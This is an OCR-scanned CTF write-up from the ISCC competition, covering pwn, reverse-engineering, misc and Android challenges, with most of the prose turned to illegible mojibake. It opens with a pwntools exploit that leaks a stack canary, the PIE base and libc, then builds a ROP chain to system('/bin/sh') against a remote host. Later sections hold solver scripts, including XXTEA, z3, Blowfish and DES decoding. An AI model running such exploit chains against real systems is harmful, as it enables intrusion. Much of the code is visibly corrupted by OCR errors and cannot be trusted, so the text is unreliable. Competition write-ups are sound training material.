io.sendlineafter (b"Furina: Your choice? >> ", b"1")
jo.sendlineafter (b"Furina: Time is limited! >> ", b"6")
jo.recvuntil(b"Furina: Present your evidence! >> ")
jo.send(b"%195p")
pie = int(io.recv(14), 16) - 0x13d6
jo.sendafter (b"hcy want to eat chicken! >> ", b'a'")
return pie

def leak_libc_base(pie):
rdi = pie + 0x000000000000132f # ROP gadget for ‘pop rdi; ret’

jo.sendlineafter (b"Furina: Your choice? >> ", b"2")

jo.recvuntil(b"Furina: The trial is adjourned\n")

payload = flat(

b'a' x 0x48,

p64(canary),

b'a' x 8,

p64(rdi),

p64(pie + Ox3FBO),

p64(pie + 0x1030),

p64(pie + 0x1338)
)
io.send(payload)
ub4 (io.recv(6).ljust(8, b"\x00"))
libc_base puts_leak - Ox606F0
print(f"[+] Libc base: {hex(libc_base)}")
return libc_base

puts_leak

canary = leak_canary()
print(f"[+] Canary: {hex(canary)}")
pie = leak_pie()
print(f"[+] PIE base: {hex(pie)}")
libc_base = leak_libc_base(pie)
system = libc_base + 0x050D70
bin_sh = 1libc_base + 0x1D8678
rdi = pie + Ox000000000000132F
jo.sendlineafter (b"Furina: Your choice? >> ", b"2")
jo.recvuntil(b"Furina: The trial is adjourned\n")
payload = flat(
b'a' * 0x48,



52 p64 (canary),

53 b'a' x 8,

54 p64(rdi + 1),
55 p64(rdi),

56 p64(bin_sh),
57 p64 (system)
58 )

59 do.send(payload)

60 do.interactive()

:\program\python>python3 test.py
Opening connection to 101.200.155.151 on port 12600
Opening connection to 101.200.155.151 on port 12600: Trying 101.200.155.15
Opening connection to 101.200.155.151 on port 12600: Done
Canary: 0xd037510daec36000
PIE base: 0x55belc78d000

Libc base: 0x7f1d7daue000
Switching to interactive mode
ISCC{832ad2b3-051e-UU407-b86F-9fU78e02d806}

[*] Got EOF while reading in interactive

Reverse

faze
shifE#EEH

J079FAB4: Stack[0

greeting
RIE—AKESA, BIEZEE FTENforfEifA



sub_7FF64C781170((__inte4 *)Format, input_2);
input_1 = input_4;

_mm_movemask_epi8(_mm_cmpeq epi8(_mm_loadu sil28((const _ ml128i *)input 4), sil28)) == OxFFFF )

rmat = &off 7FF64C79BAF8;

HBCE T —ERMX Mg — iR (

ARIBIR

1 #include <stdio.h>

2 #include <stdint.h>

3 int main(){

4 uint64_t dinput_2=0;

5 char v27[]="ISCC{XXXXXXXXXX}";

6 for (int i = 0; i < 16; 1i++)

7 {

8 input_2=(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128) (unsigned

__int64)1i) >> 64;

9 input_2=(unsigned __int8)input_2 >> 2;
10 int k = (i = 5 % input_2) % 8;
11 V27 [1]7r=(90+1);
12 char v29 = ((v27[1i] << k) | (v27[i] >> (8 - k))) % 256;
13 printf("Ox%x,", (uint8_t)v29);
14 }
15 }

FRBEATRIMANZHT (90+) , AFHITROL (BIFATE) 1&1F, BIFHHZ-5%input_2, input_2
RRRESF TR, BEESSIHENMEER T 2FT

BrFErmEER, ERENBFEEINEIRET, AREXMEERAZI R EMIT

(AREIS

1 #include <stdio.h>

2 #include <stdint.h>

3  dnt main(){

4 uint64_t 1input_2=0;



5 uint8_t v27[]=
{06x13,0%x10,0x7C,0xFO,0x52,0x76,0x40,0xC4,0xE1l,OxD5,0x5F,0xB6,0xBC,0x20,0xF1,0x1
4};
for (int i = 0; i < 16; 1++)
{
input_2=(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128) (unsigned
__int64)1i) >> 64;

9 input_2=(unsigned __int8)input_2 >> 2;

10 int k = (i = 5 % input_2) % 8;

11 char v29 = ((v27[i] >> k) | (v27[i] << (8 - k))) % 256;
12 v29/=(90+7) ;

13 printf("%c", (uint8_t)v29);

14 }

15 }

BBEYNEERE
BB T HESIZ R, Blsub_41D970LME

((_DWORD
sub_48F82
*((_DWORD

Dilw

XEBLLHER, BXEmainRERpyip—it

fEsub_48ECAORELRIsub_48ESCORMREEKLIME, BEE(EKXEIRIRIxxtea, ENMEHAGK
RIZZFLT

(AREES

1  #include <stdio.h>

2  #include <stdint.h>

3  #define DELTA 0x9e3779b9

4 #define MX (((z>>5My<<2) + (y>>37z<<4)) N ((sumry) + (key[(p&3)7*e]l * z)))
5

6 void btea(uint32_t *v, int n, uint32_t const key[4])
7 A

8 uint32_t y, z, sum;

9 unsigned p, rounds, e;
10 if (n > 1) /* Coding Part */
11 {



12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

rounds = 6 + 52/n;
sum = 0;

z = v[n-1];

do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; pt+)
{
y = vip+l];
z = v[p] += MX;
}
y = v[o];
z = v[n-1] += MX;
}
while (--rounds);
+
else if (n < -1) /* Decoding Part x/
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[o];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = vipl -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum —-= DELTA;
}
while (--rounds);
+

int main()
{

uint32_t v[30]=
{0x4DA18616,0x55833C81,0x59ED4037,0x54BB2B6,0xA9A2DF78,0x1E9OCAF2 ,0XA8AE6G8EE ,0x
BOCAA5AA , 0x8B9I8EC4T ,0x51EFECOE ,0x3774C4C4 ,0x1D7DFCES,0xD8783C88 ,0XxFODFO9ET , 0x42
7CCB84,0x7C4CBBC,0OxEC8BCBEB,0x734FABD2,0xE52DF608,0x6FE6DOD9 ,0x9EFA592B,0x448F4



3B2,0xECCOTCA8,0x3A53AE70,0xBAO3DD2,0x36C503E3,0xF4ECDB8B,0xA597D2ED, 0x10B1FD87

,O0X79CA4514} ;
55 uint32_t const k[4]= {0x12345678, Ox9abcdef®, Oxfedcba98, Ox76543210};
56 int n= 30;
57 for (int i = 0@; i < 999999; i++)
58 {
59 btea(v, -n, k);
60 if ((*(charx)v)=="'I'&&(*(charx) (v+1))=='S"' && (*(charx) (v+2))=="'C"' &&
(x(charx) (v+3))=="'C")
61 {
62 for (int j = 0; j < 30; j++)
63 {
64 printf("%c",v[jil);
65 }
66 break;
67 }
68
69 }
70
71 return 0;
72 1
SecretGrid

R REETT, BRT7 NS, MW LETT Mibmcfgthread-1.dll, BXR2IEFEEEITT
MEREREIVMAEInetZidcheckl, 2, WMRIEMFLAILUITENHflagT

python
from z3 import *

sper=|

0x40201, 0x40401, 0x40801, 0x41002, 0x42002, 0x44002, 0x48004, 0x50004,
0x60004, 0x80201, 0x80401, 0x80801, 0x81002, 0x82002, 0x84002, 0x88004,
0x90004, 0xA0004, 0x100201, 0x100401, 0x100801, 0x101002, 0x102002,
0x104002, 0x108004, 0x110004, 0x120004, 0x200208, 0x200408, 0x200808,
0x201010, 0x202010, 0x204010, 0x208020, 0x210020, 0x220020, 0x400208,
0x400408, 0x400808, 0x401010, 0x402010, 0x404010, 0x408020, 0x410020,
0x420020, 0x800208, 0x800408, 0x800808, 0x801010, 0x802010, 0x804010,
0x808020, 0x810020, 0x820020, 0x1000240, 0x1000440, 0x1000840, 0x1001080,
0x1002080, 0x1004080, 0x1008100, 0x1010100, 0x1020100, 0x2000240,
0x2000440, 0x2000840, 0x2001080, 0x2002080, 0x2004080, 0x2008100,



0x2010100, 0x2020100, 0x4000240, 0x4000440, 0x4000840, 0x4001080, 0x4002080,
0x4004080, 0x4008100, 0x4010100, 0x4020100, 0x0, 0x0, 0x0, 00, 0x0, 00, 0x0
]

calist=[

"pastis pleasure", "please userit", "rap less piter", "its pure latter",
"is leet", "rit platstep", "all use peatrle", "pali atar usar",

"sets a pure sereat", "tales sell appets"

]

allowed_chars=['p) 'a\'s, 't} "i\, 'l} 'e), 'u’, 'r']
allowed_ascii = [ord(c) for cin allowed_chars]

def solve_net():
solver = Solver()
net = [BitVec(f'net_{i}, 8) fori inrange(81)]

target_value = OX7TFFFFFF
sum_conditions =[]

for cin allowed_ascii:
mask = BitVecVal(0, 32)
foriinrange(81):
mask |= If(net[i] == ¢, BitVecVal(sperli], 32), BitVecVal(0, 32))
cond = And(
(mask & BitVecVal(target_value, 32)) == BitVecVal(target_value, 32),
Or([net[i]==cforiin range(81)])
)
sum_conditions.append(If(cond, 1,0))
solver.add(Sum(sum_conditions) == 9)

direCtions = [(0) l): (l: 0)) (l’ l)’ (l’ _l)) (0: _l)’ (_l’ 0)’ (_1’ _l): (_l’ l)]
unique_words = {word for phrase in calist for word in phrase.split()}

for word in unique_words:

word_len = len(word)

if word_len==0:
continue

word_conds =]

for dx, dy in directions:
max_x=9-dx * (word_len -1)ifdx>0else9
min_x=-dx * (word_len- 1)ifdx<0else0
max_y=9-dy * (word_len -1)ifdy>0else9



min_y =-dy * (word_len- 1)ifdy<0else0
for xin range(min_x, max_x):
foryinrange(min_y, max_y):
indices=[(x+dx *k)*9+(y+dy*k)forkinrange(word_len)]
if all(0 <=idx <81 foridxinindices):
cond = And([net[idx] == ord(word[k]) for k, idx in enumerate(indices)])
word_conds.append(cond)
if not word_conds:
print(f"Jcf#: 238 {word} TTEKE")
solver.add(False)
return
solver.add(Or(word_conds))

for c_varin net:
solver.add(Or([c_var==afora in allowed_ascii]))

if solver.check() == sat:
model = solver.model()
solution = [model.evaluate(c).as_long() for cin net]
print("fERFSZE: ")
foriinrange(9):
row = ".join([chr(solution[i * 9 +j]) forjin range(9)])
print(row)
else:
print("TH2")

if _name__=="_main__

solve_net()
#1SCC{s_ale_ru_upatu_prrlaullre_}

flagZ:YTfo
AiddecodeX BHLIIBEIATF S A?



18] 7 FAl, BJaEES-Recordfd, it —#t IS {4

python
import binascii

def srecord_to_bin(srec_lines, output_file):
binary_data = bytearray()
current_address=0

for linein srec_lines:
line = line.strip()
if not line.startswith('S1'): # {X4b3ES12E8Y
continue

# BRI E. HOUERNEE

length =int(line[2:4], 16) # KEFE (FT1%)
address = int(line[4:8], 16) # it Q=FT)
data_hex =line[8:-2] # #IBZF D (FI=ERILAN)
data= binascii.unhexlify(data_hex) # ¥t — it

# S MNESIET

if address > current_address:
padding = address - current_address
binary_data.extend(b'\x00' * padding)

binary_data.extend(data)
current_address = address + len(data)

# BEAXHF



with open(output_file, 'wb') as f:
fwrite(binary_data)

srec_data =]

"S123050C9421FFDO93E1002C7C3FOB78907F000CI09F000839200000913F001E4S
00012C7E",

"S$123052C813F001E552907FE2F890000409E0058813F001E815F000C7D2A4A1489
290000FF",

"S$123054C7D2A07743D20100281090018813F001E7D284A14892900003929000255
29063ECT",

"$123056C7D2907747D494AT87D280774813F001E815F00087D2A4A14550A063E99
49000074",

"S123058C480000BC815F001E3D205555612955567D0A48967D49FE707D2940501
D29000317",

"S12305AC7D2950502F890000409E0058813F001E815F000C7D2A4A14892900007D
2A077476",

"S$12305CC3D20100281090018813F001E7D284A1489290000392900055529063E7D
2907743F",

"S12305EC7D494A787D280774813F001E815F00087D2A4A14550A063E9949000048
0000408D",

"S123060C813F001E815F000C7D2A4A14890900003D20100281490018813F001E7D
2A4A145A",

"$123062C89490000813F001E80FF00087D274A147D0A5278554A063E9949000081
3F001EAL",

"S$123064C39290001913F001E813F001E2F89001E409DFED0813F00083929001F39

40000040",
"S11B066C9949000060000000397F003083EBFFFCTD615B784E80002060"

]

srecord_to_bin(srec_data, 'E:\\edge\\output.bin’)

RENERRIE, AppclRia
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P A — TR

python
d1=[73,83,67,67,123,115,95,97, 108,101, 95,114,117,95,117,112,97, 116,
117,95,112,114, 114,108, 97,117,108, 108, 114, 101]
d2=
[63,100,16,5,17,5,7,50,75,93,24,0,40,118,54,20,14,48,20,102,40,2,31,40,13,15,69,40,
38,55,28]
d3=0
foriin range(30):
if((i&1) !=0):
if((i%3)!=0):
d3=d2[i] * d1[i]
else:
d3=d2[i] » (d1[i]+5)
else:
d3=d2[i] » (d1[i]+2)
print(chr(d3),end=")
# ISCC{tTUMIVfS%Tyr_)AamDc9ZukDnz+YRR}

Misc

R Z B8
fhmnaz, HNEEIHERO
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Input

From Base32
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Remove non-alphabet chars

From Base64 ~ QN
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A-Za-z0-9+/=
Remove non-alphabet chars |:| Strict mode
rec 24 = 1
Output
|aDASMIVM

3.jpg PRI EAPH UL B BR AT UL R BR L BE



8 3jpg Bl

Bl Hsg e  FEEE LERRAE

=<1 =
15185
fiek
F
TR
tRc

SKIE
=
R
TR

JRENEHER

hiRAY

Ef&

&% ID

DR 9450 x 7087
BE 9450 &%=
=E 7087 &%
IKFESHEE 150 dpi
FEEDIHE 150 dpi

fRE 24
=45
N

e

354->1054->45%

ISCC{aDA5MJvM3104}

EEIN



Fforemostn BEEIESHEE, BSwavX iy

BABhIntSRIAOOOTI0RFEFRHASKE RFIERGBIVEENRM, KLLHISH, KIS

(AN EES

1 from PIL 1import Image

2  from tqdm import tqdm

3

4  def compute_weighted_sum(image_path):

5 with Image.open(image_path) as 1img:

6 img = img.convert(""RGB")

7 pixels = img.load()

8 width, height = img.size

9

10 sum_r = sum_g = sum_b = 0

11

12 for y in tqgdm(range(height), desc="Processing"):
13 for x in range(width):

14 r, g, b = pixels[x, y]

15 sum_r += r

16 sum_g += g

17 sum_b += b

18

19 weighted_sum = sum_r * 0.6 + sum_g * 0.3 + sum_b * 0.1
20 return weighted_sum
21

22 print(compute_weighted_sum("Sleeping_Beauty_22.png"))
23 # 1375729349.6

ST, RIZIE

AREGIR

1 dmport numpy as np

2  from scipy.io import wavfile

3  from tqdm import tqgdm

4

5

6 def extract_bitstream_from_audio(

7 filepath: str,

8 offset_sec: float = 6.0,

9 block_duration_sec: float = 0.1,
10 threshold: float = 0.0
11 ) —> str:
12 e
13 MBS 4 RS B & MASTURY Z I Ek3E,



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51
52
53
54
55
56
57
58
59
60

filepath: EMIXHFEE (.wav)

offset_sec: MZ/LFFFIAIEENE I
block_duration_sec: S NEIBRAVFERTE (7))
threshold: B¥H|EHE

R[]
FRIDISEIRY 01 FRIH
try:
rate, signal = wavfile.read(filepath)
except Exception as err:
print(f"[$18] TEEREXMH '{filepath}': {err}")
return ""

# EIEEAEE
if signal.ndim > 1:
signal = signall[:, 0]

start_idx = int(offset_sec * rate)
block_size = int(block_duration_sec * rate)

if start_idx >= len(signal):
print("[$8iR] I EBEFMKE, ")

return ""

output_bits = []
position = start_idx
total_blocks = (len(signal) - start_idx) // block_size

print(f"¥#ZE: {rate} Hz")

print (F"&REFERE: {block_size}")

print(f"FIAMIE: {start_idx} (5 {offset_sec:.2f} #)™")
print (f"FIHALLIEIREN: {total_blocks}")

for _ in tgdm(range(total_blocks), desc="f#5H"):
chunk = signal[position:position + block_size]
if len(chunk) < block_size:
break

normalized = chunk > threshold

has_falling_edge = np.any(np.diff(normalized.astype(int)) == -1)

is_all_high = np.all(normalized)

if dis_all_high:
output_bits.append("0'")



61 elif has_falling_edge:

62 output_bits.append("1")
63 else:

64 output_bits.append("?')
65

66 position += block_size

67

68 return "".join(output_bits)

69

70

71 Gf __name__ " _main__":

72 result = extract_bitstream_from_audio('"normal_speech_40.wav")
73 if result:

74 print ("\nfiBIBLER:")

75 print(result)

76

R SRR AASCISE Elflag
ISCC{Mystify}
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(ASEEZS
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@] () 3% | C/Users/jyzho/OneDrive/E2iE/[Content_Types].xml Pig =

This XML file does not appear to have any style information associated with it. The document tree is shown below.

v<Types xmlns="http://schemas. openxmlformats. org/package/2006/content-types”>
<Default Extension="rels” ContentType="application/vnd. openxmlformats-package. relationships+xml”/>

<Default Extension=

<Override Par
<Override
<Override Par
<Override Par
<Override Par

<Override PartNa

ype="application/vnd. openxmlformats-officedocument. extended-properties+xml”/>
‘docProps/core. xml” ContentType="application/vnd. openxmlformats-package. core-properties+xml”/>
docProps/custom. xml” ContentType="application/vnd. openxmlformats-officedocument. custom-properties+xml”/>
rord/document. xml” ContentType="application/vnd. openxmlformats-officedocument. wordprocessingml. document. maintxml”/>
word/fontTable. xml” ContentType="application/vnd. openxmlformats-officedocument. wordprocessingml. fontTable+xml”/>

- application/vnd. openxmlformats-officedocument. wordprocessingml. settings+xml”/>
word/styles. xml” ContentType="application/vnd. openxmlformats-officedocument. wordprocessingml. styles+xml”/>

<Override PartName="/word/theme/themel.xml” ContentType="application/vnd. openxmlformats-officedocument. theme+xml”/>

</Types>

<!== khlsbhoysccz >

HERUMRE, 8 LISCCrESlag

Recipe ~ B B ¥ Input + 0O 8 =
khlsbh

Vigenére Decode ~0mn sbhoysccz

Key

IICCNJAYER
mec 12 = 1 Tr Raw Bytes & LF
Output R0 m®::
czjqoyoaolud

EZEIE

[E48 6130480250 RERRIE , BEI— KBS EMNER, XRIEEARIEFEH 4T, BUEM
SMNERIXOrFT LU psAM B RIE S fe4Exor

stegslovetTFF & IMIHEA T BarnoldTik, S#HE112, FEMZ

ADIR

A W N B

o N o U

11
12
13
14

import cv2

import numpy as np

def arnold_transform(image, shuffle_times, a, b, inverse=False,
save_path=None):

BR Arnold Z#EpRER, o] BT 4RASakARED.

image (ndarray): BWAER (BARBEFR) .
shuffle_times (int): BHITZHRAREL,

a (int): Arnold &% a.

b (int): Arnold & b,

inverse (bool): BB NN (EITHR) .
save_path (str): A%, REEGHEKER.



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

39
40
41
42
43

44
45
46
47
48
49
50
51

o1

def

R[E:
TFHEIR ndarrayo
h, w = image.shape[:2]
if h 1= w:
raise ValueError ("BE&MMAIELR, HEIRTA {Ix{}".format(h, w))
N = h

transformed = np.copy(image)
for _ 1in range(shuffle_times):
result = np.zeros_Llike(transformed)
for x in range(N):
for y in range(N):
if not inverse:
(x +bxy) %N
new.y = (a *x x + (axb+ 1) xy) %N

new_x

else:

((a*b+ 1) *xx —b *y) %N

new.y = (-a *x x +y) %N

new_x

result[new_x, new_y] = transformed[x, y]
transformed = np.copy(result)

if save_path:

cv2.imwrite(save_path, transformed, [int(cv2.IMWRITE_PNG_COMPRESSION),

return transformed

arnold_decode(image, shuffle_times, a, b, save_path='"flag.png'):

return arnold_transform(image, shuffle_times, a, b, inverse=True,

save_path=save_path)

if

__hame__ == "__main__":

# BEEREG
img = cv2.imread('1l.png")

# B BEIGHIRTE
decoded = arnold_decode(img, shuffle_times=1, a=1, b=-2)

AR IR R EGREN R ed%, BFE—iKxor, 15E|
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public boelean Jformat(String str) {

if (str.length() = 7 || !str.substring(@, 5).equals("ISCC{") || str.charAt(str.length() - 1) != '}') {
return false;
1
try 1
String m54a = CO48la.m54al];
Log.d("str1", "desiI®EM: " + m5ual;
try i
String encrypt = new DESHelper().encryptim5da,6 "WhItenet", getiv(l);
Log.d("DEBUG_RES", "JNHEH R res: " + encrypt];

return str.substring(5, str.length() - 1).equalslencrypt);
} eateh (Exception e) {
throw new RuntimeExceptien(el;

}

} eateh (Exception e2] {

1

o

throw new RuntimeException(el);

BEEHiEfrida—iB1R, #encryptfihookthsk
BIFERTT, AAXEMNMS4aTZEIZIRE, XBR—Eblowfishfg®, ERARENBER

public elass CO4Bla {
J* renamed from: a */
public static String m54al) threws Exception {

b

String m55b = CBY482b.m55b(];
SecretHeySpec secretHeySpec = new SecretleySpec(process(COU482b.m56c()), "Blowfish"];
Cipher cipher = Cipher.getInstancelCO482b.m57d(]];

cipher.init (2, secretHeySpec);

return new String(cipher.doFinal(Base6d.decode(m55b, @)), "UTF-8"):|

private statie byte[] process{String str) {

byte[] bArr = new byte[16];
byte[] bytes = str.getBytes(]);
for (int i = 8; 1 = 16; i++] {
if (i = bytes.lengthl) {
barr[i] = bytes[i];
I else |
bArr[i] = 8;
b
b

return bArr;

HFEHC0482b%, K



public elass CO4E2b {
private statdiec String hiddenString = "THEM3IXB+ggnhuPysv+LlvZmPMIedPTuIE" ;

/% renamed from: b */
publiec statie String m55b({]) {

1

try 1
HashMap hashMap = new HashMap(]);
HashMap hashMap2 = new HashMap();

hashMap2.put{"hiddenString", hiddenString)

hashMap.put({"levell", hashMap2];

HashMap hashMap3 = new HashMap();

hashMap3.put{"level2", hashMap];

Field declaredField = CO483b.class .getDeclaredField("hiddenString"];

declaredField.setAccessible(true];

return (String) ((Mapl) ((Map) hashMap3.get("level2"])).get("levell"}).get("hiddenString"];
} eateh (Exception e) {

e.printStackTrace(];

return null;

S+ renamed From: c */
public statiec String pS6c() {

1

return "";

/* renamed From: d =/
publie statie String m57d() {

1

return "Blowfish/ECEB/PKHCSS5Padding";

ALEEIMm56¢c, FLEblowfishfZZHNZARTH, FTLIEEZEhookRE1T, WEAXMNEZ, Frld
LYEREFPEALRNflaglEFEEEZERY (MHERE)

BABFENIZIHFX R, EiAfEmainactivity2 2@

publie veid onClick(View wiew) {

String trim = MainActivity2.this.edt_name.getText().toStringl().trim{];
String trim2 = Mainfctivity2.this.edt_lev.getText().toStringl().trim{];
if (ltrim.isEmpty() && !trim2.isEmpty(]] {
MainActivity2.this.instance = new CO48BdE(MainActivity2.this, "");
String info = MainActivity2.this.instance.getInfoltrim, trim2);
if (info != nulll) {
MainActivity2.this.tex_2.setTextlinfol;
return;
I else {
MainActivity2.thdis.tex_2.setText("no related information!"l};
return;
b
b
MainActivity2.this.tex_2.setText("HFEEMEER");

FX1NC0483dB, EEMERT



public class COYBUdH extends SQLiteOpenHelper {
private static final String DATABASE_NAME = "bangbu.db";
private statie fimal int DATABASE_VERSION = 1;
private statiec final String TABLE_NAME = "BETUJIAN";

Boverride // net.sqlcipher.database.SQLiteOpenHelper
public veoid onUpgrade(SQLiteDatabase sQLiteDatabase, int i, int i2) {
}

public f@U4BUdH(Context context) {
super{context, DATABASE_NAME, null,K 13J;
if (DBexits(context, DATABASE_NAME)) {
return;
}
createDB(context);
}

Boverride // net.sqlcipher.database.SQLiteOpenHelper
publiec veid onCreate(SQLiteDatabase sQLiteDatabase) {

sQLiteDatabase.execSQL{"create table BBTUJIAN(ID INTEGER PRIMARY KEY AUTOINCREMENT MAME wvarchar(10),6 LEVEL varchar(1@) 6INFO varchar(5ell}");
}

private boolean DBexits(Context context, String str) {
return context.getDatabasePath(str).exists(];

}

private veid createDB(Context context) {
SQLiteDatabase writableDatabase = getWritableDatabase(""];
writableDatabase.execSQL{"INSERT INTO BBTUJIAN (NAME, LEVEL, INFO) VALUES (‘gﬂiﬁﬁ', 'S, 'VKZWRIUxXR'I"D;
writableDatabase.exeeSQL{"INSERT INTO BBTUJIAN (NAME, LEVEL, INFO) VALUES ('ZE¥Fi', 's', 'XdaMmRrp')")
writableDatabase.execSQL{"INSERT INTO BBTUJIAN (NAME, LEVEL, INFO) VALUES ('#E5I#IES', 's', 'TvZKsg==')");
writableDatabase.execSQL("INSERT INTO BBTUJIAN (MAME, LEVEL, INFO) VALUES ('$#FIEE', 'ssrR','VEehyZwugzGVjcnludGlubnM=")");

writableDatabase.execSQL("INSERT INTO BBTUJIAN (NAME, LEVEL, INFO) VALUES ('f@LaG?',6 'SS5S5' 'e2ZsYWcwlm8/a2VSbydwfWNjc2w='])"];
writableDatabase.close()

THE—HEREREbase64, EXMFID

A= TEBERGAERAE, BEEEARMEE—T, 23l2: “Three
decryptions” # “{flag0.0?keyo.0}ccsl”

“Three decryptions” HLZEEHER=/RXbase64, 1BHIE=""baseb44miZHIF T ="Rbase64f#
B, AILEE) “MARCH7TH” , i “{flag0.o?keyo.0}ccsl” ELBERTXNERH, BEMIE, &
B—NdbXt, XB—MEINZEIREX Y, BILULADB Browser for SQLCipheriTH, HARFEIR

=$A

id name value info

[ | [z |z |
1 1 flag! 102;108;97;103;123;121;111;117;97;11.. Congratulationc.oBlgzMl
2 2 key? JTkImNoPgRsTuvwxy Iblowfish!

3 3 ():flag?EEY \u0074\u0068\u0065\u0020\u0066 \udiél.. something crucial

FEBIERNlag




2R, BN

&= FENERER:

the falg is false but the key is True

HIEREER, REEA

EREZANFFEH “JKLmNoPgRsTuvwXy” FLEIHIIEikBblowfishiVkey, EEME—T

Recipe ~ Al 8
From Base64 ~ QN
Alphabet -
A-Za-z@-9+/=
Remove non-alphabet chars D Strict mode
Blowfish Decrypt ~0Qn
Key v
JkLmNoPgRsT..  UTF8~ 11111111 UTF8 ~
Mode Input Qutput
ECB Raw Raw

Input

TXOM3XB+gqnhwPy6v+1v2mPMIedP7uIH

asc 32 = 1

Output

Tlu@V2w X3y&Z4a*B5c¢

ree 19 = 1

XBECBIRAAFEIVAE, ERFNERTAcyberchef i MEIE—T (FEEE—IRIT, TREMEE

Z#R)

R#Emainactivityl, #ETFREFZHgetiviRFIREIWivRIE, BX EESHIBVEASG#HITDES-CBCAN

#. base644miZENTIEEIflag



getivi ¥ 7EnativeZ, Aidad—TF

FFFFE6)
<FFFFFFE6) + n2_1 + n76 - 97

r *)operator new((n23 | @xF) + 1);

MEX—EARE, n2_1REsmrI UAMEETFT, sAEKEMREINIVERRENXIE, 5 MUIBHE
—F
(ASEEN
1 #include <stdio.h>
2 dint main(){
3 char s[38]={0};
4 char str[]="Let my heart bravely spread the wings";
5 int v9=0;
6 int n2_1=7;
7 char n76=76;
8 for (int i = 1; i = 38; i++)
g {
10 if ( (n76 & OXFFFFFFDF) - 91 >= OXFFFFFFE6 )
11 s[v9++] = 32 x ((unsigned int)(n76 - 91) < OxFFFFFFE6)+ (32 *
((unsigned int) (n76 - 91) >= OXFFFFFFE6) + n2_1 + n76 — 97) % 26 + 65;
12 n76 = str[i];
13 }
14 s[v9]=0;
15 for (int i = 0; i < 38; i++)
16 {
17 printf("%c",s[i]);
18 }
19
20 %
21

EXH181i, BPSlatfolhmiEBERIVAEE



ZXADESHRE:, Bitbase6s

Recipe ~ O B Input + O3 8 =
T1 2WAX3y&74a8*B5

DES Encrypt ~Qmn u@v2wX3y8z42*B5C

Key v

whItenet uTES slatfolh uTre~

Mode Input Qutput

CBC Raw Raw

To Base64 ~Q0n

Alphabet .

A-Za-z0-9+/=
e 18 = 1 Tr Raw Bytes 4= LF
Output p

11C4BHKpDaikRdIg8LjHcMo8I682nePe

i 1
STEP & s Auto Bake

e 32 = 1 932

Detective
RICHIIR H{EEnativeBE, passcodeftUATFEH, FIg

(ASEEN

1  Admport hashlib

2 dmport ditertools
3  dimport string

4

5 TARGET_HASH =

s Tr Raw Bytes <= LF (detected)

"'23213b6f905655a2af0510c9054e4b14719d07c2c17c08d826a5f9139d8c234f9"

6  CHAR_SET = string.ascii_uppercase

7 PASSWORD_LENGTH = 4

8

9 for attempt_tuple in 1dtertools.product(CHAR_SET, repeat=PASSWORD_LENGTH):
10 attempt = "".join(attempt_tuple)

11

12 hashed_attempt = hashlib.sha256(attempt.encode('utf-8")).hexdigest()
13

14 if hashed_attempt == TARGET_HASH:

15 print(f"[+] ZBHE: {attempt}")

16 # tCEZ D /TIR L B

17 break

18 else:



19
20 print ("[-] EIEEFRHENKERFRIITRNEE, ")

1B R ESHER

stringFromJNIRHELHE— M ERERH

KGR
1 enc="'1027444F3F5742506A3B24535F2C224A"
2 flag=[]
3 for i in range(0,len(enc),2):
4 flag.append(int(enc[i:i+2],16))
5 key='Sherlock'
6 for i in range(len(flag)):
7 print(chr(ord(key[i % len(key)]) » flag[i]),end='")
8
9
10
ETREmMS1aWEp
publiec static String m5lalString strl {
| return m53c(cas5@1lb.m54al(m52b(str)]));
1
m53ciEWBI A

43004F0021003D005300380021003B00390053004100210033004300410021

javaiychar@161uRy, FLtiEmstringFromJNIEKERIS HRAF R BN+ e, BIERU-t7 )
PRI, FLEm5S3ciEWEIRRIAF R

ETREmMbL4a, XM AExEIREER:
sb3.toString().replaceAll("(.{2})", "$100").substring(0, r10.length() - 2);

BE—TENRZEN, ETHFRXMEREEHSLHE:
{RUsb379 123456

MR [E{E 21200340056

Bl —AFNEEARN0, &E—ARIN

ABARERIESRAIMS3chIZWNE, XERsb3NZmE434F213D5338213B3953412133434121
RIEX —E&Ah



StringBuilder sb3 = new StringBuilder();
fer (int i4 = @8; i4 = sb2.length{]; i4 += 2] {
char charAt2 = sb2.charAt(id];
char charAt3 = sb2.charAt(id + 1)
if (charAt2 != '3' &% charAt2 != 'd4' && charAt2 != '5' && charAt2 !=
sb3.append{charat3);
sb3.appendlcharAt);
sb3.append("21");
} else {
sb3.append{charat2);
sb3.appendicharAt3];

1

B LUFE A tHsb2=" 43f43d53833b395314334314 ©

B TRE LEXE

while (i {”str.lengthEJJ i
char charAt = str.charAt(i);
i++;

if (i % 2 == @) {

'6' && charat2

if ((i3 == 1 || (i3 - 1) % 3 == 8) && charAt == '8') {

sb2.append("3"];
I else {
sb2.appendicharit];

1
i3++;
} else {
if ({(i2 == 8 || 12 % 3 == @) && charAt == '@'] {
sb.append{"3"];
I else {
sb.appendl{charat);
}
i2++;
b
I
sb2 .append((CharSequence) sb);
StringBuilder sb3 = new StringBuilder(]};

NEBRTHRNFNSH, KREXIECHHRE—RMAMNT sb2

b= 703 q

[EEBRIERNMS2b7%E, CIEFE T/ EHEIERR T =L (RIEAR 7 —10) , XTHABEIFESE
MEEXE0LEER3, AEBRFEDFIRETEIsb, sh2BHE, REXIEE(IHE—iiE

eI ANISCC{qweqwe}, BBAFAZIIT

£2m52b%%iE, FRTEREqweqweZ}'071077065071077065', JINLAmMS4a, LidE— whilefElf,
SIEXNFERTRIFBATELSD, Hpsb=317357376, sb2=737631735 ({EHIEEI0ZR3, HEH

A%, A BIFT)
AEEHEIsb2, E1§sb2=737631735317357376
MAPREMEE, 0T

EGIR

1



enc="'349351f34134d35334833134b'
for i in range(0,len(enc),3):
print(chr(int(enc[i+1:i+3],16)),end="")

N~ oo o0 N

HolyGrail
te EflagliT &85

private veid submitSequence(]) {
String trim = this.flagInput.getText().toStringl().trim()
